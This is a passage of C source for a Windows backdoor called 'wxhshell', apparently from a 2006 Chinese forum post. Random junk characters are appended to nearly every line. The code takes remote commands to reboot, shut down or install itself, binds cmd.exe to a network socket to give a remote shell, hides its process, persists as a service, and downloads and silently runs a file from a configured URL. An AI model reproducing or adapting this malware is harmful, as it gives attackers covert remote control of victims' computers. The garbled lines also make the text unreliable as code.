  case '?': { rLI8pA|.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KmA;HiH%J  
    break; $+Z)  
  } O06"bi5Y  
  // 安装 , P70J b  
  case 'i': { jw^<IMAG\8  
    if(Install()) hp5|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `\#B18eU  
    else `OXpU,Z 6U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B1>/5hV}  
    break; 8TLgNQP  
    } z6jc8Z=O  
  // 卸载 (nlvl?\d  
  case 'r': { XF;ES3 d  
    if(Uninstall()) 8o'_`{ba  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+z4~% jA  
    else "AnC?c9?-^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uj R_"r|l  
    break; z8SmkL  
    } e%@~MQ-  
  // 显示 wxhshell 所在路径 >aj7||K  
  case 'p': { > dI LF  
    char svExeFile[MAX_PATH]; 7!EBH(,z  
    strcpy(svExeFile,"\n\r"); ~M7y*'oY  
      strcat(svExeFile,ExeFile); =F]FP5V  
        send(wsh,svExeFile,strlen(svExeFile),0); +wN^c#~7  
    break; --%N8L;e  
    } kt["m.  
  // 重启 M42 Ssn)  
  case 'b': { U |Jo{(Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ][9%Kl*%@p  
    if(Boot(REBOOT)) JGsx_V1t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?BFvbAt  
    else { C/vI EYG4  
    closesocket(wsh); ?fUlgQ }N  
    ExitThread(0); Jrti cK$  
    } Sjyoc<Uo  
    break; 17oa69G  
    } <SgM@0m  
  // 关机 `_`QxM  
  case 'd': { `.FF!P:{C*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R`DKu=  
    if(Boot(SHUTDOWN)) Nn~~!q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jr /pj?  
    else { x7:s]<kE  
    closesocket(wsh); C)@y5. G;  
    ExitThread(0); cDFO;Dr  
    } %)|9E>fP]N  
    break; b F"G[pD  
    } A+"ia1p,}  
  // 获取shell bm?sbE  
  case 's': { T>x&T9  
    CmdShell(wsh); K;>9ZZtl  
    closesocket(wsh); v9w'!C)b  
    ExitThread(0); 5Iy;oZ  
    break; K]s[5  
  } C":32_q  
  // 退出 Gb#Cm]  
  case 'x': { >L;eO'D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oX S1QT`B  
    CloseIt(wsh); gQxbi1!;9  
    break; ur$ _  
    } #fM#p+v  
  // 离开 `e}bdj  
  case 'q': { ftvG\Tf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %r%Mlj:#  
    closesocket(wsh); KxYwJ  
    WSACleanup(); w+#C-&z  
    exit(1); a(kg/s  
    break; [ sN EHf  
        } (@<lRA ^  
  } 4)h]MOZ  
  } ysxb?6  
ko.(pb@+  
  // 提示信息 R?~Yp?B^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )0"wB  
} ~]pE'\D7Ad  
  } )uj Ex7&c  
OGde00  
  return; \r /ya<5  
} 4zev^FR  
bJRN;g  
// shell模块句柄 66/3|83Z  
int CmdShell(SOCKET sock) 5][Ztx  
{ @kpv{`Y  
STARTUPINFO si; 2XFU1 AW  
ZeroMemory(&si,sizeof(si)); iop2L51eJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dv8>[#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U3T#6Rptl  
PROCESS_INFORMATION ProcessInfo; cC=[Saatsf  
char cmdline[]="cmd"; 3 Nreqq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 42e|LUZg  
  return 0; S M0~fAtE  
} tZ=E')!\  
C${Vg{g7a  
// 自身启动模式 @R/07&lBR  
int StartFromService(void) {sihus#Q  
{ ?t/~lv  
typedef struct k. MUdU^  
{ n[T[DCQ,  
  DWORD ExitStatus; p7veQ`yNc  
  DWORD PebBaseAddress; *BR~}1 i  
  DWORD AffinityMask; ;> _$`  
  DWORD BasePriority; ORyE`h  
  ULONG UniqueProcessId; NO|KVZ~  
  ULONG InheritedFromUniqueProcessId; iF-6Y0~8  
}   PROCESS_BASIC_INFORMATION; u [m  
,uo'c_f(e  
PROCNTQSIP NtQueryInformationProcess; ?EJD?,}  
GN ]cDik  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IE;~?W"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _hRcc"MS`  
f!oT65Vmi  
  HANDLE             hProcess; %+8F'&X  
  PROCESS_BASIC_INFORMATION pbi; @hJ%@(  
|]J>R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l>Z5 uSG  
  if(NULL == hInst ) return 0; .z)%)PVV  
w[9|cgCY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q*\x0"mS/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p<TpK )  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1<BX]-/tP  
&<wuJ%'>)Z  
  if (!NtQueryInformationProcess) return 0; QW $G  
oFy=-p+C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9:ze{ c $  
  if(!hProcess) return 0; _A+s)]}  
v1BDP<qU2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jT8#C=a7  
yRSTk2N@  
  CloseHandle(hProcess); biSz?DJ>  
MaRi+3F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f|h|q_<;  
if(hProcess==NULL) return 0; :n0vQ5a  
h\5OrD@L  
HMODULE hMod; k5D%y3|9  
char procName[255]; dRj|g  
unsigned long cbNeeded; LV\DBDM  
GB>QK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); plb!.g  
rM .|1(u  
  CloseHandle(hProcess); u=/{cOJI6  
q;<h[b?  
if(strstr(procName,"services")) return 1; // 以服务启动 _CW(PsfY  
:uWw8`  
  return 0; // 注册表启动 v}1QH  
} Sz^ veh?  
@\|_  
// 主模块 R_sr?V|"  
int StartWxhshell(LPSTR lpCmdLine) `8^TTQ  
{ CjlKMbnBH  
  SOCKET wsl; h3bff#<K  
BOOL val=TRUE; .2%zC & ;  
  int port=0; jUSmq m'  
  struct sockaddr_in door; Y( 3Bp\6  
9cf:pXMi  
  if(wscfg.ws_autoins) Install(); @!`Xl*l  
}dp=?AFg  
port=atoi(lpCmdLine); 2.%.Z_k)  
^C_#<m_k  
if(port<=0) port=wscfg.ws_port; o Z%9_$Z  
a^`rtvT  
  WSADATA data; 3 ):A   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NF+iza;DP  
2^^`n1?'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9?0^ap,T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ``ou/Z  
  door.sin_family = AF_INET; *MJX?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  _59huC.  
  door.sin_port = htons(port); g=QDu7Ux  
 c|M6 <}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k 9L? +PD  
closesocket(wsl); D@Vt^_  
return 1; OY:,D  
} U-IpH+E  
.v$D13L(o  
  if(listen(wsl,2) == INVALID_SOCKET) { N'g>MBdI  
closesocket(wsl); lEhk'/~  
return 1; R $&o*K`?  
} *Eo?k<:zPm  
  Wxhshell(wsl); W0l,cOOZJ  
  WSACleanup(); WN01h=1J_  
%KmiH ;U  
return 0; u/M+u;  
"tB;^jhRs  
}  OU8Lldt  
Wzw7tLY._  
// 以NT服务方式启动 ,QcF|~n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8>0e*jC  
{ my}-s  
DWORD   status = 0; :P<]+\m  
  DWORD   specificError = 0xfffffff; KU8J bl*   
cUvz2TK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `-3O w[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~y/ nlb!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [/Rf\T(,jn  
  serviceStatus.dwWin32ExitCode     = 0; -F<Wd/Xse  
  serviceStatus.dwServiceSpecificExitCode = 0; ](&{:>RNJ  
  serviceStatus.dwCheckPoint       = 0; O+]Ifm[  
  serviceStatus.dwWaitHint       = 0; k&,~qoU  
Q aS\(_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G&4&-<  
  if (hServiceStatusHandle==0) return; M+w=O!dq  
ptU \[Tq  
status = GetLastError();  *T5!{  
  if (status!=NO_ERROR) w]]8dz  
{ h"_MA_]~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dHv68*^\'  
    serviceStatus.dwCheckPoint       = 0; =~=*&I4Dp  
    serviceStatus.dwWaitHint       = 0; JwAYG5W  
    serviceStatus.dwWin32ExitCode     = status; f}x.jxY?  
    serviceStatus.dwServiceSpecificExitCode = specificError; H^s<{E0<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qYlhlHD  
    return; T~Gvp0r}h  
  } U-R6xxPZ  
`QyO`y=?[Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;4.!H,d  
  serviceStatus.dwCheckPoint       = 0; 4A_[PM  
  serviceStatus.dwWaitHint       = 0; Y?(r3E^x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iZM+JqfU|D  
} hFH*B~*:#  
!*oi!ysU;O  
// 处理NT服务事件,比如:启动、停止 @Ub"5Fl4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J/[=p<I)  
{ 0cJWJOj&  
switch(fdwControl) yuat" Pg  
{ .=X}cJ]`[  
case SERVICE_CONTROL_STOP: uf&myV7  
  serviceStatus.dwWin32ExitCode = 0; [%77bv85.G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x "^Xj]-  
  serviceStatus.dwCheckPoint   = 0; ,u`B<heoLU  
  serviceStatus.dwWaitHint     = 0; { S3ZeN,kZ  
  { $`)/0{qY-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ug+io mZ  
  } MLRK74D  
  return; xwJH(_-  
case SERVICE_CONTROL_PAUSE:  :}@g6   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E0MGRI"me  
  break; _nbBIaHN{  
case SERVICE_CONTROL_CONTINUE: :'~ Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f;1K5Y  
  break; @I_8T$N=  
case SERVICE_CONTROL_INTERROGATE: =8; {\  
  break; aC%m-m  
}; uF1~FKB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @U3Vc|  
} e^<#53!  
QA5Qwe L  
// 标准应用程序主函数 HN&Z2v   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FRg^c kb"  
{ l}] t~!X=  
5[* qi?w=  
// 获取操作系统版本 _Jme!Oaa  
OsIsNt=GetOsVer(); v?& -xH-S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 763v  
:9$F'd\  
  // 从命令行安装 Q 4f/Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hhari!R XC  
-Xxqm%([71  
  // 下载执行文件 -3;*K4z$/  
if(wscfg.ws_downexe) { W!?7D0q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Db;G@#x  
  WinExec(wscfg.ws_filenam,SW_HIDE); |aT| l^2R@  
} UG'9*(*  
XVv K2(  
if(!OsIsNt) { k;w- E  
// 如果时win9x,隐藏进程并且设置为注册表启动 .)<(Oj|4  
HideProc(); rz@=pR :  
StartWxhshell(lpCmdLine); -lhLA`6_R  
} nIU6h  
else 1rkE yh??  
  if(StartFromService()) B:!W$ <  
  // 以服务方式启动 Z(Bp 0a  
  StartServiceCtrlDispatcher(DispatchTable); ~[\_N\rm  
else jC7&s$>Q"g  
  // 普通方式启动 u"d~!j1  
  StartWxhshell(lpCmdLine); AO=h 23ZI  
*T~Ve;3h;  
return 0; ub;ZtsM,%  
}
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只看该作者 1 发表于: 2006-10-10
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